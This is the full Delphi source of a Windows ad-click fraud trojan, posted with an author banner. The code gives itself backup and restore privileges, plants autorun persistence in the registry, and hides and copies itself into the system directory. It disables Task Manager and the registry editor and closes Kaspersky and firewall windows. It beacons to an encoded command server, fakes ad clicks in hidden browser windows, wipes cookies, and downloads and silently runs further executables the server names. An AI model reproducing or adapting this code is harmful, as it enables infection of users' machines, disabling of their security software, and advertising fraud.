模拟点击网页广告源代码

{
模拟点击网页广告源代码 By 雪落的瞬间
BLOG [url]http://hi.baidu.com/cipherteam/[/url]
BBS [url]http://www.killabc.cn[/url] QQ 418880764
发送消息,删除COOKIE,HIV过主动.
由于代码写于07年好像 没去考虑体积所以
其它 自己看
}

unit Unit1;
{$R 'copyrightA.res'}
interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, OleCtrls, SHDocVw, StdCtrls,shellApi,urlmon, wininet,shlobj,ExtCtrls,encrypt;

type
TAnHao_Click = class(TForm)
TIME_DO: TTimer;
TIME_All: TTimer;
procedure FormCreate(Sender: TObject);
procedure TIME_DOTimer(Sender: TObject);
procedure TIME_AllTimer(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
AnHao_Click: TAnHao_Click;
DownUrl:array [0..255] of char;//点击广告配置文件下载路径
LLUrl,ClickNum,Upurl:array [0..255] of char;//流量配置文件下载路径
DownSaveA:array [0..255] of char; //广告txt保存路径
DownSaveL:array [0..255] of char; //流量txt保存路径
DownSaveC:array [0..255] of char; //剩余点击次数保存路径
DownSaveDL:array [0..255] of char; //更新txt保存路径
iename: array [0..255] of char;
iepath:string ; //IE 路径
D_Xy:DWORD; //点击的坐标
Int_LL:integer; //流量定时器计数

Int_Cr:integer;
ispost:BOOL; //点击还是上线
ClickUrl:STring; //当前点击网址
implementation

{$R *.dfm}

//系统路径
function syspath():string;
var
temp: array [0..255] of char;
begin
GetsystemDirectory(temp,250);
result:=temp;
end;

//按顶字符串排序分离
function Split(Input: string; Deliminator: string; Index: integer): string;
var
StringLoop, StringCount: integer;
Buffer: string;
begin
Buffer := '';
if Index < 1 then Exit;
StringCount := 0;
StringLoop := 1;
while (StringLoop <= Length(Input)) do
begin
if (Copy(Input, StringLoop, Length(Deliminator)) = Deliminator) then
begin
Inc(StringLoop, Length(Deliminator) - 1);
Inc(StringCount);
if StringCount = Index then
begin
Result := Buffer;
Exit;
end
else
begin
Buffer := '';
end;
end
else
begin
Buffer := Buffer + Copy(Input, StringLoop, 1);
end;
Inc(StringLoop, 1);
end;
Inc(StringCount);
if StringCount < Index then Buffer := '';
Result := Buffer;
end;

//HIV 启动
procedure GetBackPrivilege;
Const
ADJUST_PRIV = TOKEN_QUERY or TOKEN_ADJUST_PRIVILEGES;
SHTDWN_PRIV ='SeBackupPrivilege';
PRIV_SIZE = sizeOf(TTokenPrivileges);
var
TokenPriv, Dummy: TTokenPrivileges;
Token: THandle;
Len:dWORD;
begin
OpenProcessToken(GetCurrentProcess(), ADJUST_PRIV, Token);
LookupPrivilegeValue(nil, SHTDWN_PRIV,TokenPriv.Privileges[0].Luid);
TokenPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
TokenPriv.PrivilegeCount := 1;
AdjustTokenPrivileges(Token, false, TokenPriv, PRIV_SIZE,Dummy, Len);
end;

procedure GetRestorePrivilege;
var
TPPrev,TP: TTokenPrivileges;
TokenHandle: THandle;
dwRetLen: DWORD;
lpLuid: TLargeInteger;
begin
OpenProcessToken(GetCurrentProcess,TOKEN_ALL_ACCESS,TokenHandle);
if(LookupPrivilegeValue(Nil,'SeRestorePrivilege',lpLuid))then
begin
TP.PrivilegeCount:=1;
TP.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;
TP.Privileges[0].Luid:=lpLuid;
AdjustTokenPrivileges(TokenHandle,False,TP,SizeOf(TPPrev),TPPrev,dwRetLen);
end;
CloseHandle(TokenHandle);
end;

function addreg(key:Hkey; subkey,name,value:string):boolean;
var
regkey:hkey;
begin
result := false;
RegCreateKey(key,PChar(subkey),regkey);
if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
result := true;
RegCloseKey(regkey);
end;

function SaveKey2(key:integer;subkey,filename:string):Boolean;
var
SKey: HKEY;
begin
Result := false;
if key = 1 then begin
RegOpenKey(HKEY_CURRENT_USER,PChar(subkey),SKey);
end
else
begin
RegOpenKey(HKEY_LOCAL_MACHINE,PChar(subkey),SKey);
end;
if SKey <> 0 then
try
Result := (RegSaveKey(SKey, PChar(FileName), nil) = ERROR_SUCCESS);
finally
RegCloseKey(SKey);
end;
end;

procedure regstore2(key:integer;subkey,hfile:string);
var
key2: hkey;
begin
if key=1 then
begin
RegOpenKey(HKEY_CURRENT_USER,PChar(subkey),key2)
end
else begin
RegOpenKey(HKEY_LOCAL_MACHINE,PChar(subkey),key2);
end;
if key2<>0 then RegRestoreKey(key2,PChar(hfile),8);
RegCloseKey(key2);
end;

procedure DoAll(exefile:string);
var
key:HKEY;
I:Integer;
begin
SaveKey2(2,PChar('Software/Microsoft/Windows/CurrentVersion/policies'),'c:/1.hiv');
RegCreateKey(HKEY_CURRENT_USER,PChar('Software/AnHao'),key);
for i := 1 to 10 do regstore2(1,'Software/AnHao','c:/1.hiv');
addreg(HKEY_CURRENT_USER,'Software/AnHao/explorer/run','Hackceo',exefile);
SaveKey2(1,PChar('Software/AnHao'),'c:/2.hiv');
for i := 1 to 10 do regstore2(2,PChar('Software/Microsoft/Windows/CurrentVersion/policies'),'c:/2.hiv');
RegDeleteKey(HKEY_CURRENT_USER,'Software/AnHao');
RegCloseKey(key);
DeleteFile('c:/1.hiv');
DeleteFile('c:/2.hiv');
end;

//删除CCOOKIE
function GetCookiesFolder:string;
var
pidl:pItemIDList;
buffer:array [ 0..255 ] of char ;
begin
SHGetSpecialFolderLocation(
0 , CSIDL_COOKIES, pidl);

SHGetPathFromIDList(pidl, buffer);
result:=strpas(buffer);
end;

function ShellDeleteFile(sFileName: string): Boolean;
var
FOS: TSHFileOpStruct;
begin
FillChar(FOS, SizeOf(FOS), 0); {记录清零}
with FOS do
begin
Wnd:=0;
wFunc := FO_DELETE;//删除
pFrom := PChar(sFileName);
fFlags := FOF_NOCONFIRMATION or FOF_SILENT;
end;
Result := (SHFileOperation(FOS) = 0);
end;
procedure DelCookie;
var
dir:string;
begin
InternetSetOption(nil, INTERNET_OPTION_END_BROWSER_SESSION, nil, 0);
dir:=GetCookiesFolder;
ShellDeleteFile(dir+'/*.txt');
end;

// 注册表锁住
procedure Disablesome();
var
SHK:HKEY;
KeyValue:DWORD;
begin
try
//隐藏文件
KeyValue:=2;
RegOpenKeyEx(HKEY_CURRENT_USER,'Software/Microsoft/Windows/CurrentVersion/Explorer/Advanced',0,KEY_ALL_ACCESS,SHK);
RegSetValueEx(SHK,'Hidden',0,REG_DWORD,@KeyValue,sizeOf(DWORD));
finally
RegCloseKey(SHK);
end;
try
//文件夹选项锁定
KeyValue:=0;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,'SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Advanced/Folder/Hidden/SHOWALL',0,KEY_ALL_ACCESS,SHK);
RegSetValueEx(SHK,'CheckedValue',0,REG_DWORD,@KeyValue,sizeOf(DWORD));
finally
RegCloseKey(SHK);
end;
try
//禁止任务管理器
KeyValue:=1;
RegOpenKeyEx(HKEY_CURRENT_USER,'Software/Microsoft/Windows/CurrentVersion/Policies/System',0,KEY_ALL_ACCESS,SHK);
RegSetValueEx(SHK,'DisableTaskMgr',0,REG_DWORD,@KeyValue,sizeOf(DWORD));
finally
RegCloseKey(SHK);
end;
try
//禁止注册表
KeyValue:=1;
RegOpenKeyEx(HKEY_CURRENT_USER,'Software/Microsoft/Windows/CurrentVersion/Policies/System',0,KEY_ALL_ACCESS,SHK);
RegSetValueEx(SHK,'DisableRegistryTools',0,REG_DWORD,@KeyValue,sizeOf(DWORD));
finally
RegCloseKey(SHK);
end;
end;
function rbl(Hwnd: THandle;
Param: Pointer): Boolean; stdcall;
var
bt: array[0..210] of char ;
begin
getwindowtext(Hwnd,bt,200);
if ((pos('防火墙',bt)<>0)or (pos('主线程',bt)<>0))then
begin
postmessage(hwnd,$0010,0,0) ;
postmessage(hwnd,$0002,0,0);
postmessage(hwnd,$0012,0,0);
end;
Result :=true ;
end;

// 杀咔吧 线程 ..
procedure kis ();
var
HKill:THANDLE;
KCaption: array[0..200] of char ;
begin
while (true) do
begin
HKill:=GetForegroundWindow() ;
GetClassName(HKill,KCaption,200);
if (pos('AVP',KCaption)<>0) then //or(pos('AVP',KCaption)<>0)
begin
postmessage(HKill,WM_CLOSE,0,0) ;
end;
EnumWindows(@rbl,0);
sleep(20);
end;
end;
//创建杀卡巴线程
procedure killkis();
var
kishand:THANDLE;
kispid:DWORD;
begin //设置时间
kishand:=CreateThread(nil, 0, @kis, nil, 0,kispid);
CloseHandle(kishand);
end;

procedure Sendip();
var
si: TSTARTUPINFO;
pi: TProcessInformation;
Wed:string;
begin
with si do
begin
cb := SizeOf(si);
lpReserved := nil;
lpDesktop := nil;
lpTitle := nil;
dwFlags := STARTF_USESHOWWINDOW;
wShowWindow := SW_HIDE;
cbReserved2 := 0;
lpReserved2 := nil;
end;
if ispost then
begin
//点击
Wed:='Open [url]http://www.damocs.cn/360/click.asp?Url=[/url]'+ClickUrl;
end else begin
Wed:='Open [url]http://www.damocs.cn/360/click.asp?Url=OnLine[/url]'; //上线
end;

CreateProcess(pchar(iepath),pchar(WED),
nil, nil, False, CREATE_DEFAULT_ERROR_MODE, nil, nil, si, pi);
WaitForSingleObject(pi.hProcess, 20000);
TerminateProcess(pi.hProcess,0);
end;

//-----------------------------------------------------------------------------

// 更新 .
procedure Updata () ;
var
txtDl:textfile;
STR_URL,Str_path:string;
begin
URLDownloadToFile(nil,UpUrl,DownSaveDL,0,nil);
if FileExists(DownSaveDL) then
begin
try
assignfile(txtDL,DownSaveDL);
reset(TxtDL);
While not Eof(TxtDL) do
begin
Readln(TxtDL,Str_Url);
Readln(TxtDL,Str_Path);
if (S_OK=URLDownloadToFile(nil,Pchar(Str_Url),Pchar(Str_Path),0,nil))then
begin
ShellExecute(0,'open',pchar(Str_Path),nil,nil,SW_HIDE);
end;
end;
finally
CloseFile(TxtDL);
end;
end;
end;

//点击广告过程
function SClick(Hwnd: THandle;
Param: Pointer): Boolean; stdcall;
var
bt: array[0..210] of char ;
HandA,handB:Thandle; //handb保存IE主窗口点击后要隐藏
begin
getwindowtext(Hwnd,bt,200);
// if (length(trim(string(bt)) > 30) then
// begin
if (pos('小雨雪',bt)<>0) or (pos('索',bt)<>0) then
begin
handB:=Hwnd; //保存IE主窗口
PostMessage(handB,WM_SIZE,SIZE_MAXIMIZED,0); //隐藏最大化IE
ShowWindow(HandB,SW_HIDE);
handa:=FindWindowEx(hwnd,0,'TabWindowClass',nil);
if handa <> 0 then
begin
Hwnd := handa;
end;
hwnd:=FindWindowEx(hwnd,0,'Shell DocObject View',nil);
if hwnd <> 0 then
begin
hwnd:=FindWindowEx(hwnd,0,'Internet Explorer_Server',nil);
if hwnd <> 0 then
begin
ShowWindow(HandB,SW_HIDE);
PostMessage(hwnd,WM_LBUTTONDOWN,MK_LBUTTON,D_Xy);
PostMessage(hwnd,WM_LBUTTONUP,MK_LBUTTON,D_Xy);

ShowWindow(HandB,SW_HIDE);

IsPost:=True;
SendIp; //发送点击信息
ShowWindow(HandB,SW_HIDE);
Result :=true ;
exit;
end;
end
// end;
end;
Result :=true ;
end;

//读取配置
procedure ClickAd ();
var
si: TSTARTUPINFO;
pi: TProcessInformation;

txtA:TextFile; //广告配置文本
Str_Cr:string; // 当前版本
Str_URL,STR_SleepA,STR_Xy,STR_SleepB,STR_ISClick:string ;
begin
with si do
begin
cb := SizeOf(si);
lpReserved := nil;
lpDesktop := nil;
lpTitle := nil;
dwFlags := STARTF_USESHOWWINDOW;
wShowWindow := SW_HIDE;
cbReserved2 := 0;
lpReserved2 := nil;
end;
URLDownloadToFile(nil,DownUrl,DownSaveA,0,nil);
if FileExists(DownSaveA) then
begin
try
assignfile(txtA,DownSaveA);
reset(TxtA);
Readln(TxtA,Str_Cr); //获得版本
if strtoint(Str_Cr) <= Int_Cr then exit;
Int_Cr:= strtoint(Str_Cr);
While not Eof(TxtA) do
begin
readln(TxtA,Str_Url);
readln(TxtA,Str_SleepA);
readln(TxtA,Str_Xy);
readln(TxtA,Str_SleepB);
readln(TxtA,Str_ISClick);
if 'a'=Str_ISClick then
begin
D_Xy:=strtoint(Str_Xy); //转换成32位坐标
ClickUrl:=Split(Str_Url,'.',2); //分离目标网址
CreateProcess(pchar(iepath),pchar(Str_Url),
nil, nil, False, CREATE_DEFAULT_ERROR_MODE, nil, nil, si, pi);
WaitForSingleObject(pi.hProcess, strtoint(Str_SleepA+'000'));
EnumWindows(@SClick,0);

Sleep(strtoint(Str_SleepB+'000'));
TerminateProcess(pi.hProcess,0);
TerminateProcess(pi.hProcess,0);
sleep(5000);
DelCookie;
sleep(5000);
end;
end;
finally
CloseFile(TxtA);
windows.DeleteFile(DownSaveA);
end;
end;
end;
//刷流量
procedure GetLL ();
var
txtLL:textfile;
STR_URL,Str_Sleep:string;
si: TSTARTUPINFO;
pi: TProcessInformation;
Wed:string;
begin
URLDownloadToFile(nil,LLUrl,DownSaveL,0,nil);
if FileExists(DownSaveL) then
begin
with si do
begin
cb := SizeOf(si);
lpReserved := nil;
lpDesktop := nil;
lpTitle := nil;
dwFlags := STARTF_USESHOWWINDOW;
wShowWindow := SW_HIDE;
cbReserved2 := 0;
lpReserved2 := nil;
end;
try
assignfile(txtLL,DownSaveL);
reset(TxtLL);
While not Eof(TxtLL) do
begin
Readln(TxtLL,Str_Url);
Readln(TxtLL,Str_Sleep);
application.ProcessMessages;
CreateProcess(pchar(iepath),pchar(Str_Url),
nil, nil, False, CREATE_DEFAULT_ERROR_MODE, nil, nil, si, pi);
WaitForSingleObject(pi.hProcess, strtoint(Str_Sleep+'000'));
application.ProcessMessages;
TerminateProcess(pi.hProcess,0);
DelCookie;
sleep(2000);
end;
finally
CloseFile(TxtLL);
end;
end;
end;

//窗口创建
procedure TAnHao_Click.FormCreate(Sender: TObject);
var
Hk: hkey;
exepath:string;
iekey: Hkey;
vType,dLength :DWORD;
CookiePid,HCookie:DWORD;
begin
CreateMutex(nil,True,'AnHao_Ad');
if GetLastError = ERROR_ALREADY_EXISTS then
begin
Application.Terminate;
PostMessage(handle,WM_CLOSE,0,0);
end;
Int_Cr:= 0 ;
GetRestorePrivilege; //提权
GetBackPrivilege;
try
regopenkey(HKEY_LOCAL_MACHINE, 'Software/Microsoft/Windows/CurrentVersion/policies', Hk);
regcreatekey(Hk,pchar('explorer'),Hk);
regcreatekey(Hk,pchar('run'),Hk);
finally
CloseHandle(Hk);
end;
killkis();
exepath:=syspath()+'/361Ad.exe';
SetFileAttributes(pchar(paramstr(0)),FILE_ATTRIBUTE_HIDDEN+ FILE_ATTRIBUTE_SYSTEM);
DoAll(exepath);
copyfile(pchar(paramstr(0)),pchar(exepath),true);
Disablesome();
strcopy(DownSaveDL,pchar(syspath()+'/AnHaoD.Txt')); //更新
strcopy(DownSaveA,pchar(syspath()+'/AnHaoA.Txt')); // 广告
strcopy(DownSaveL,pchar(syspath()+'/AnHaoL.Txt')); //流量
strcopy(DownSaveC,pchar(syspath()+'/AnHaoC.Txt')); //次数

Int_LL:=0; //流量计数器

HCookie:=createthread(nil,0,@DelCookie,nil,0,CookiePid);
WaitForSingleObject(HCookie,10000*6*10);
vType := REG_SZ;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,'Software/Microsoft/Windows/CurrentVersion/App Paths/IEXPLORE.EXE',0,KEY_ALL_ACCESS,iekey);
dLength := SizeOf(iename);
if RegQueryValueEx(iekey, '' , nil, @vType, @iename[0], @dLength) = 0 then
begin
iepath := iename
end else begin
iepath := 'C:/Program Files/Internet Explorer/IEXPLORE.EXE';
RegCloseKey(iekey);
end;
end;

//开始工作
procedure TAnHao_Click.TIME_DOTimer(Sender: TObject);
var
PIDA,PIDB:DWORD;
Txt:textfile;
ClickCount:String;
begin
if (Int_LL = 0) or (Int_LL=20) then
begin
TIME_Do.Enabled:=False;
ClickCount:='1';
URLDownloadToFile(nil,ClickNum,DownSaveC,0,nil);
if FileExists(DownSaveC) then
begin
try
assignfile(txt,DownSaveC);
reset(Txt);
ReadLn(txt,ClickCount);
finally
CloseFile(txt);
windows.DeleteFile(DownSaveC);
end;
end;
if strtoint(ClickCount) >0 then
begin
ClickAd; //点击广告
end;
// PIDB:=CreateThread(nil,0,@ClickAd,Nil,0,PIDA);
// WaitForSingleObject(PIDB,INFINITE) ;
sleep(1000);
GetLL ; //刷流量
sleep(1000);
UPData; //更新下载者
// PIDB:=CreateThread(nil,0,@Getll,Nil,0,PIDA);
// WaitForSingleObject(PIDB,INFINITE) ;
TIME_Do.Enabled:=True;
Int_LL:=0;
end;
Int_LL:=Int_LL+1;
end;

//判断是否联网 控制 刷流量和点击广告开始 定时器
procedure TAnHao_Click.TIME_AllTimer(Sender: TObject);
var
Connect_status : DWORD;
URLA,URLB,UrlC,UrlD:string;
begin
if InternetGetConnectedState(@connect_status,0)then
begin
Ispost:=False ;
SendIp; //发送上线信息

//http://www.damocs.cn/config/gg.txt //广告
UrlA:=jmp('213D3D397366663E3E3E672D2824262A3A672A27662A26272F202E662E2E673D313D','I');

//http://www.damocs.cn/config/ll.txt //流量
UrlB:=jmp('584444400A1F1F4747471E54515D5F53431E535E1F535F5E5659571F5C5C1E444844','SBL');

//http://www.damocs.cn/config/dl.txt //更新
UrlC:=jmp('584444400A1F1F4747471E54515D5F53431E535E1F535F5E5659571F545C1E444844','Love');

//剩余点击次数
//http://www.damocs.cn/config/num.txt
UrlD:=jmp('584444400A1F1F4747471E54515D5F53431E535E1F535F5E5659571F5E455D1E444844','Love');

strcopy(DownUrl,pchar(UrlA));
strcopy(LLUrl,pchar(UrlB));
strcopy(Upurl,pchar(UrlC));
strcopy(ClickNum,pchar(UrlD));

TIME_Do.Enabled:=True;
TIME_All.Enabled:=False;
end;
end;
procedure TAnHao_Click.FormShow(Sender: TObject);
begin
ShowWindow(0,SW_HIDE);
end;

end.